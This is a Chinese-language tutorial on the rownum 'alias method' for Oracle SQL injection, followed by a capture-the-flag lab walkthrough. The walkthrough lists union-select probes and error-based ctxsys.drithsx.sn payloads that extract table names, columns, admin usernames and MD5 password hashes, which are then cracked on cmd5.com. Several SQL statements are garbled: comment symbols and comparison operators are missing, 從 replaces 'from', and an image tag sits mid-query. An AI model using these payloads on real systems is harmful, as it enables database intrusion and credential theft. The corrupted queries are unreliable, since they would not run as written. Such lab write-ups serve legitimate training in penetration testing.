這篇文章為大家帶來了關於Oracle的相關知識,其中主要介紹了關於別名法在Oracle資料庫注入中的用法詳解,包括了Oracle查詢資訊的基本語句、rownum的特性等等內容,下面就一起來看一下,希望對大家有幫助。
推薦教學:《Oracle影片教學》
Oracle Database,又稱Oracle RDBMS,或簡稱Oracle。該資料庫是甲骨文公司的產品,功能強大,操作複雜,使用免費但服務收費,目前在國內一般是大公司用,例如銀行、金融機構、大數據行業的企業等。
Oracle特點總結:
1、Oracle使用查詢語言獲取資訊需要跟上表名,這一點和Access類似,沒有表的情況下可以使用dual表,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual裡面永遠只有一筆記錄,如果你直接查詢它,它只顯示一個X,列名為DUMMY;
2、Oracle的資料庫類型是強匹配,所以在Oracle進行類似Union查詢資料時必須讓對應位置上的資料類型和表中的列的資料類型是一致的,也可以使用NULL來取代某些無法快速猜測出的資料類型位置,這一點和SQLServer類似。 3.Oracle和mysql不一樣,分頁中沒有limit,而是使用三層查詢嵌套的方式實現分頁;4、Oracle的單行註解符號是,多行註解符號;
5、Oracle 資料庫包含了幾個系統表,這幾個系統表裡儲存了系統資料庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就儲存了使用者的所有的表、列名,其中table_name 表示的是系統裡的表名,column_name 裡的是系統裡存在的列名;
6、Oracle使用拼接字串(在URL中使用編碼表示),函數也可以實現兩個字串的拼接;
7、在Oracle中,庫被弱化了,使用者被強化了,主要靠使用者來區分。簡單理解就是,目前的使用者名稱相當於其他資料庫裡的庫名。
select * from all_tables
查詢所有的表格select * from user_tables
查詢目前使用者的所有表格select * from all_tab_columns
查詢所有欄位select * from user_tab_columns
#查詢目前使用者的欄位select * from v$version
檢視目前使用的Oracle版本
由於在Oracle中不存在limit,所以查詢特定的資料需要用rownum來選擇。例如先輸入:select * from all_tables
看到頁面輸出了相當多的數據,但是大部分都不是我們需要的,那麼假設我只想要前4條數據,那麼修改語句如下:select * from all_tables where rownum<br><img src="https://img.php.cn/upload/article/000/000/067/a290750748b99d965d0baa9b5c7497da-1.png" alt="實例詳解別名法在Oracle資料庫注入中的用法"><br> 那麼假設我們只需要第二個數據,那麼可以輸入where rownum=2嗎?不可以。這是因為rownum不是某個表格的欄位名,只是查詢結果的行號,每次查詢當有結果時,都會預設有第一行、第二行、第三行等等,這個rownum就是行號了,並不屬於某個字段,所以rownum是一個總是以1開始的偽例,rownum>n,當n>1時,條件就無法成立了。對於這種情況,可以採用兩種方法,分別為不等於法和別名法。 <br> 在使用查詢語句時,我們常常要求傳回表中的前n筆記錄或是中間的幾筆記錄,例如在一個大表(假設有1W筆資料)要求查詢從第1000到1005筆的記錄。面對這種查詢,我們該怎麼辦呢?每個資料庫都有自己的解決方法,例如在mysql中採用limit指令來分頁顯示,MSSQL中使用TOP來對結果分頁,而oracle主要使用rownum指令來解決這個問題。讓我們來看看在oracle中如何輸出指定資料。
在線上oracle演練平台中輸入這樣的指令(這裡是查詢目前使用者的所有欄位):select* from user_tab_columns
結果中顯示了目前的所有表和和對應的欄位名,假如我只想顯示ADMIN表中的內容,可以輸入:select* from user_tab_columns where table_name= 'ADMIN'
假如我只想顯示第二個數據,該怎麼輸入呢?直接加個條件rownum=2顯然是不行的,這裡就可以利用不等法來查詢了:select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
從這裡我們也可以看出,不等於法是存在弊端的,只有當資料量非常少時,才可以用這種方法。當資料量非常大時,就需要用到下面介紹的別名法了。
來看這個語句:select column_name,rownum n from user_tab_columns
# 這句話執行查詢列名以後,會把查詢結果從上到下從1開始按順序進行編號,但是由於rownum本身不是字段,所以這裡起了個別名為n。這樣這個查詢語句的作用就是:查詢列名及每個列名對應的行號,並將行號統一儲存在n這個欄位裡面。
注意這個時候雖然我們新建了一個字段n用來儲存行號,但是此時如果馬上在後面加上一個條件,比如where n=7是不行的,因為這條語句需要執行完才有n這個字段,所以想要用n這個字段來查詢信息的話,就需要把這個語句作為一個整體,放在其他語句的子查詢裡,這樣句子執行完了,有n這個字段了,然後才能被其他句子使用。
現在我們先查詢ADMIN表裡面有幾個字段,這樣輸入:select column_name,rownum n from user_tab_columns where table_name='ADMIN'
這裡的查詢結果會得到兩個欄位名稱。其中行號被我們取成了別名n,所以第一個欄位是實際的欄位名,第二個欄位是我們取的別名n。
例如子查詢的結果是:
欄位名稱 | 行號 |
---|---|
aa | |
bb | |
##cc |
那麼只要輸入:
select * from 子查詢 where n=2,就可以得到bb這個數據,同理,想要哪個數據,只要令n等於相應的數字即可。
因此,只要把這個句子寫成子查詢,外面的查詢語句再對這個子查詢的結果進行查詢,令n=2,就可以得到第二個字段,因此輸入:select * 從 (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
成功查詢到第二個欄位。
注意:別名法給rownum取名為n時,標準的寫法是用rownum as n ,簡潔一點是直接rownum n,中間用空格隔開即可。
查詢欄位的時候可以用別名法,那麼查詢表名的時候可以用嗎?答案是肯定的。
範例:select table_name,rownum n from user_tables
可見給表起別名和給欄位起別名是一樣的,用法其實也差不多,這裡不再贅述。
上面講的只是理論基礎,實際操作的時候就沒那麼容易了,我們找個靶場來實際操作一下看看。
以封神颱為例,位址在http://o1.lab.aqlab.cn/?id=1
進入靶場,看到網址列有GET傳參,當然是先試試看是否存在SQL輸入了:
在id=1後面輸入:
and 1=1 ,頁面回顯正常
and 1=2 ,頁面回顯異常
把id=1改成id=2-1,頁面回顯正常。
說明必然存在SQL注入。
實戰中,我們並不知道目標網站是什麼資料庫,所以何必管那麼多,當成MYSQL來搞就好了,所以這裡先查詢字段數:
輸入order by 1
頁面回顯正常;
輸入order by 5
頁面回顯異常;
輸入order by 4
頁面回顯正常;
輸入order by 5
頁面回顯異常。
表示目前頁面欄位數為4。
在id=1後面輸入:
union all select 1,2,3,4
頁面回顯例外。看來資料庫絕對不是mysql,那麼把數字改成null試試:
union all select null,null,null,null from dual
頁回顯正常。看來目標資料庫對語法要求很嚴格,現在先判斷四個欄位分別是什麼資料類型,輸入:
union all select 111,null,null,null from dual
頁面回顯正常,說明第一個欄位為數字類型。按ctrl u查看網頁原始碼,搜尋111,沒看到明顯的顯錯位元。
嘗試讓目前頁面報錯看看有沒有顯錯位元:
and 1=2 union all select 111,null,null,null from dual
沒看到明顯的顯錯位元。
繼續輸入:
and 1=2 union all select 111,111,null,null from dual
頁面回顯異常,說明第二個欄位不是數值類型。
繼續輸入:
and 1=2 union all select 111,'aa',null,null from dual
頁面回顯異常,說明第二個欄位不是字串型別。
實際上Oracle資料庫有很多資料類型,例如數值、字串、日期、二進位、大文本,裡面又有一些細分的類型,一個個去嘗試頗為繁瑣,因此這裡先跳過。
第三個欄位同理,發現既不是數字也不是字串,且沒有明顯顯錯位元。
繼續查詢第四個欄位:
and 1=2 union all select 111,null,null,111111 from dual
發現頁面顯示出了一個新的時間。
看到這樣的時間要想到時間戳這個東西,因為計算機都是從1970年的1月1日的8點開始往後算秒數的。
使用報錯注入函數查詢訊息,輸入:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
注意:報錯注入只能傳回字串而不是傳回一個表,所以後面要有限定,也就是rownum=1,只取一行數據,另外該函數括號裡的1可以換成別的,數值或字串都可以。
得到表名ADMIN
持續輸入:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))
得到第二個表為NEWS。
接下來查詢其他表格就不能繼續用不等於法了,而是要用上面提到的別名法, 建構基本語句,然後透過修改n的值判斷尚未查詢出的表名:
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))
最終確定目前使用者的表分別為:ADMIN、NEWS、MD5
接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))
得到第一个字段名为:UNAME
把n改为2继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))
得到第二个字段为UPASS
把n改为3,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))
得到第三个字段为MD5
把n改为4,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))
没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5
字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:
and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))
注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))
改变n的值可以得到UPASS字段的三条记录分别为:e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321
把每个md5值都提交到靶场,最终确定flag为:2a61f8bcfe7535eadcfa69eb4406ceb9
渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。
本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。
推荐教程:《Oracle视频教程》
以上是實例詳解別名法在Oracle資料庫注入中的用法的詳細內容。更多資訊請關注PHP中文網其他相關文章!